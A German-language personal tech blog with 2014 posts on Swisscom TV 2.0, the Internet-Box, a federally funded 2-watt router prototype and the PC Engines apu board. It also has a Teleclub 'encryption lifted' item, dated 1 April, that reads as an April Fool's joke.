Zusätzliche TV Boxen sind für alle Pakete für jeweils CHF 5.: Mt/pro Box erhältlich. Aktuell sind nur 2 zusätzliche TV Boxen möglich. Möglich das aber bald mal insgesamt 5 TV Boxen pro Anschluss betrieben werden können.

Mit der Option Festnetz sind im Gegensatz zu den Vivo * Angeboten nun alle SMS über das Festnetz sowie im Webmail inklusive! Bisher kostetet dies CHF -.15 im Festnetz sowie CHF -.10 im Webmail (30 inklusive)



Vivo Tutto Vorteile

TV App 2.0

Selbstverständlich ist auch für TV 2.0 eine entsprechende App erhältlich welche sich an das neue Design hält und 7 Tage Replay ermöglicht. Die App selber bietet aber noch keine weiteren Möglichkeiten im Bezug auf die ältere Version.

Mein Fazit

Geil, ist das Wort welches TV 2.0 beschreibt. Seit Spätsommer 2013 habe ich das Vergnügen dieses neue Erlebnis mit all seinen Höhen und Tiefen mitzuerleben. Mittlerweile habe ich mich so an TV 2.0 gewöhnt, dass ich es nicht mehr missen möchte. Das Bild gegenüber Mediaroom ist um Welten besser. Die Freiheit den Inhalt fast aller Sender innert Wochenfrist bei Bedarf anzuschauen ist grossartig. Die Pay-TV Sendungen programmiert man einfach in das riesige Archiv.
Mit einem Lächeln nehme ich auch gerne zur Kenntnis, dass damit weitere Microsoft Systeme abgeschaltet werden und Android/Linux einen weitern boost erlebt.
Zu beachten ist, dass dieses neue System, obwohl ausführlich getestet, noch immer sehr jung ist. So ist doch noch die eine oder andere Kinderkrankheit vorhanden. Bei Dingen wie der Serienaufnahme, eine der Stärken von Mediaroom, klotzt die neue Android Plattform noch ein wenig und nimmt auf dem entsprechenden Kanal schlicht alle Sendungen einer Serie "auf".

Klar auch das ich TV 2.0 auch weiterhin hinter meiner Firewall betreibe. Entsprechender Aufwand hat 5 Minuten gedauert. Teils Swisscom Mitarbeiter haben auch schon Hilfe bekommen. Die entsprechenden Anpassungen werde ich an den richtigen Stellen ergänzen. (altnet 213.3.72.0/24)

Zum Schluss noch einige weitere Impressionen. Bilder sagen mehr als tausend Worte:
Manual: ftp://ftp.tuxone.ch/SCTV/20/Draft_DE_TV-einrichten.pdf











Goodbye and thanks for the fish


Der Autor dieses Artikels nahm am Friendly Test von Swisscom TV 2.0 mit der Wingo Box und später am Pilot Test der original Hardware, Teil. Der Test gebot absolute Geheimhaltung.
Der Artikel beinhaltet Informationen und Bildern von Swisscom und eigene Inhalte. Der Artikel wurde nicht von Swisscom geprüft noch genehmigt noch unterstütz.

Dienstag, 1. April 2014

Teleclub hebt Verschlüsselung auf

Teleclub frei für alle

Teleclub hat auf den heutigen Tag die Verschlüsselung ihrer Programme aufgehoben.
Zumindest auf dem IP Netz.
Voraussetzung ist ein Breitbandanschluss auf dem Netz der Swisscom. Ohne weiteren Gebühren steht es somit allen Nutzern dieses Netzes frei die Streams der Teleclub AG zu empfangen.
Die Gründe sind noch nicht ganz klar. Eventuell möchte der de Facto Mutterkonzern Swisscom damit die Kabel Lobby endgültig bodigen?
Steckt gar der Bund mit einer neuen Grundversorgungsstrategie dahinter?
Wie auch immer. Am Donnerstag hat die Swisscom eine grosse Medienkonferenz angekündigt.
Die Sache schreit nach Aufklärung!



Tux0ne begrüsst diesen mutigen Schritt von Teleclub und Swisscom. Ihr habt echt Eier :D



Samstag, 15. März 2014

2 Watt Router

Sleep if you can

Das Bundesamt für Energie BFE hat im Jahr 2012 einen Auftrag  zur Entwicklung eines energieeffizienten Routers erstellt. Dabei soll das Konzept innerhalb von 2-3 Jahren im Markt umgesetzt werden.
Dabei sind folgende Vorgaben im Pflichtenheft des Gateway enthalten:


  •  1 x VDSL2 profile 17a, interoperable with Broadcom CO based DSLAMs 
  •  1 x 100Mbit LAN 
  •  1 x POTS/FXS (VoIP) or DECT base station (study will present both options) 
  •  1 x WiFi 11b/g/n AP
Das Gateway soll dabei im Durchschnitt nicht mehr als 2 Watt konsumieren.

Das Staats-nahe Unternehmen Swisscom, hat sich technisch und kofinanziell dieser Aufgabe angenommen.

Homegateways heute

Ein heutiges Homegateway braucht im Schnitt ca. 7-10 Watt. Im einzelnen ist dies nicht viel. Hochgerechnet verbrauchen die Homegateway in der Schweiz aber doch noch 12-17 MW/h.
Durch die Verbreitung von IP Services, zB. bei der Telefonie, welches einen 24 Stundenbetrieb dieser Router erfordern, finden zudem weitere Verlagerungen des Energiekontingents auf solche Geräte statt.

Swisscom hält sich mit ihren Gateways wie auch bei den STB'en für ihr IPTV an die jeweiligen Code of Conducts. Informationen über den Energieverbrauch ihrer Geräte findet man auf folgender Seite:
So konnte wurde der Energieverbrauch des neusten Swisscom Gateways, der Internet Box, im Vergleich zur Vorgängerserie "Centro" beibehalten werden, obwohl in diesem Device mehr Funktionen vereint wurden und die Leistung des WLAN wie auch der Ethernetports verbessert wurde.
So kann die Internet Box bereits eine DECT Basisstation überflüssig machen. Zudem besteht die Möglichkeit das Gerät als NAS zu verwenden. Damit der Stromverbrauch aber nicht gestiegen ist, hat man bereits Stromsparfunktionen eingebaut.
So kann das WLAN, sowie die DECT Funktion über Betriebszeiten geregelt werden. Auch das NAS lässt sich über solche Zeiten steuern.
Da dies aber genügt noch bei weitem nicht um auf 2 Watt herunterzukommen.

Energiesparoptionen der Internet Box

2 Watt Prototyp

Um auf 2 Watt herunterzukommen braucht es entsprechende Hardware, aber vor allem eine intelligente Software welche nicht benötigte Teile der Hardware deaktiviert. Swisscom musste zusammen mit einem ihrer aktuellen Partnerentwickler Vestiacom radikalere Schritte gehen.
So muss sogar der DSL Teil im Router bei Nichtgebrauch deaktiviert werden. Der DSL Teil braucht aber zum starten bis zur vollständigen Synchronisation rund 2 Minuten. Da aber auch Swisscom bekanntlich auf IP Telefonie umstellt und die Kunden erreichbar bleiben müssen, zudem kaum 2 Minuten warten möchten bis sie ein Gespräch führen können, überbrückt man diese Zeit mit einem GSM Modul, quasi als Backup.
Das Projekt zeigte auf das es für den künftigen Typ auch eine Software braucht welche das Verhalten der Kunden genau analysiert. So soll der Router schon zu den üblichen Zeiten bereits zum Gebrauch wach sein.
In diesem Jahr wird Swisscom bei 200 Mitarbeitern einen weiteren Prototypen testen, um im Jahre 2015 ein Produkt auf dem Markt zu haben, welches den Kunden als Alternative zum Standard Router angeboten werden kann. Laut Swisscom könnten sich 15-25% ihrer Kunden für diesen Router entscheiden.



Persönliches Fazit

Dieses Projekt zeigt auf wie sich die Geräte der Zukunft entwickeln können. Teile von elektronischen Geräten welche gerade nicht gebraucht werden sollen sich deaktivieren. Klar ist aber auch das es sich in diesem Fall um einen Router mit Einschränkungen in der Leistung und Funktion handelt. Auch ich sehe für solch ein Modell Potential bei vielen Kunden. Es darf aber nicht sein, dass die Einschränkungen die ein solches Modell bietet, den Kunden später wieder zu einem Routertausch zwingen oder animieren. Es muss daher genau abgeklärt werden wem man einen solchen Router anbietet, mit Elektroschrott und replacements gewinnt man keine Energieeffizienz :)
Neben energiebewussten Kunden mit kleinen Netzwerken sehe ich solch ein Gerät aber auch bei Powerusern welche nicht gerade eine sofortige 24h Uptime benötigen. Gerade bei diesen Usern werden die Homegateways sowieso meist auf die Funktion einer "Bridge" reduziert und das Netzwerk mit eigener Hardware erweitert. Hier wäre es also wichtig zumindest eine sparsame "Bridge" im Angebot zu haben.

Weitere Informationen zu diesem Projekt findet man auf folgenden Seiten und Unterlagen:




Freitag, 14. März 2014

Swisscom Centro Grande Simulation

Centro Grande Online Demo

Benötigt Adobe Flash Player

Samstag, 8. März 2014

PC Engines apu platform nun erhältlich

PC Engines neuer ALIX Nachfolger steht nun zum Verkauf


Wie in diesem Artikel besprochen wurde im Gegensatz zum beta Board auf die kühlere CPU AMD G series T40E APU gewechselt. Zum Typ apu1c mit 2 GB RAM ist noch eine Version apu1c4 mit 4GB RAM erhältlich.

Das Board kann in der Schweiz direkt über die Seite des Hersteller geordert werden:

apu1cSystem board
Statusactive
Part numbersapu1c = 3 LAN / 2 GB DRAM / T40E CPU
apu1c4 = 3 LAN / 4 GB DRAM / T40E CPU
Use withcase1d2blku / case1d2redu enclosures
ac12veur / ac12vus AC adapter
msata16a mSATA SSD
wle200nx miniPCI express wireless module
Spec• CPU: AMD G series T40E, 1 GHz dual Bobcat core with 64 bit support, 32K data + 32K instruction + 512K L2 cache per core
• DRAM: 2 or 4 GB DDR3-1066 DRAM
• Storage: Boot from SD card (connected through USB), external USB or m-SATA SSD. 1 SATA + power connector.
• 12V DC, about 6 to 12W depending on CPU load. Jack = 2.5 mm, center positive
• Connectivity: 3 Gigabit Ethernet channels (Realtek RTL8111E)
• I/O: DB9 serial port, 2 USB external + 2 internal, three front panel LEDs, pushbutton
• Expansion: 2 miniPCI express (one with SIM socket), LPC bus, GPIO header, I2C bus, COM2 (3.3V RXD / TXD)
• Board size: 6 x 6" (152.4 x 152.4 mm) - same as ALIX.2D13 and WRAP.1E
• Firmware: CoreBoot (please contact support@pcengines.ch for source code if desired).
• Cooling: Conductive cooling from the CPU and south bridge to the enclosure using a 3 mm alu heat spreader (included).
ManufacturerPC Engines
OriginTaiwan
Schema: http://www.pcengines.ch/schema/apu1c.pdf

Montag, 24. Februar 2014

Swisscom Internet-Box ab jetzt für alle Fiber Kunden

-News- Internet-Box neu für alle Fiber Kunden

Neu ist die Internet-Box von Swisscom für alle Glasfaser Kunden verfügbar. Bis dato war dies nur den Swisscom Kunden vorbehalten, welche eine Speedoption gelöst hatten, welche zudem nur auf einem Vivo 5 Stern Paket möglich war/ist.
Wer bis Ende Juni auf Glasfaser von Swisscom wechselt, wird die neuere Internet-Box gratis erhalten.
Danach ist diese zu einem Listenpreis von CHF 299.- erhältlich.

Nebenbei bietet die Box nun auch die NAS Funktionalität an. Speichern und Streaming wird somit im Netzwerk ermöglicht. Speichermedien können hierzu an die SD oder USB Schnittstelle angeschlossen werden.
Im Verlaufe des Frühjahres (ca. Ende März) soll zudem noch eine Android und iOS App erscheinen, welche Zugriffe auf den Speicher auch von unterwegs ermöglichen soll.

Detail am Rande: Die bisherigen Internet-Boxen welche im Umlauf sind, beherrschen diese NAS Funktion nicht und sollen alle durch die Swisscom kostenlos ersetzt werden o.0 genau, $0H3!55*N wir doch mal kurz auf die gelobte Nachhaltigkeit :D


Weitere Informationen finden man auf der neuen Microsite der Internet-Box:
http://internetbox.swisscom.ch/de/internetbox/mainstream

Preisliste:
Upgrade oder Neubestellung:
Vivo Casa ***** Fr. 0.-
Vivo Casa **** Fr. 99.-
Vivo Casa * bis Vivo Casa *** und weitere Fr. 149.-

Sonntag, 23. Februar 2014

Diskussionsforum auf tuxone.ch

tuxone.ch neu mit eigenem Diskussionsforum




Mit einer eigenen google Group besteht ab sofort die Möglichkeit, Fragen und Anregungen gezielt via Forum zu stellen. Immer wieder erreichen tuxone.ch Fragen via Mail. Tux0ne ist aber kein Mann der vielen gleichen Worte ;) Daher wird mit einer automatischen Antwort auf diese neue Gruppe verwiesen.
Zu finden ist diese Gruppe mittels Menüleiste oder über folgenden Link:


Die Gruppe ist erst gerade eröffnet und wird entsprechender der Nutzung angepasst. Als Einstieg sind daher nur einige Kategorien vorgegeben.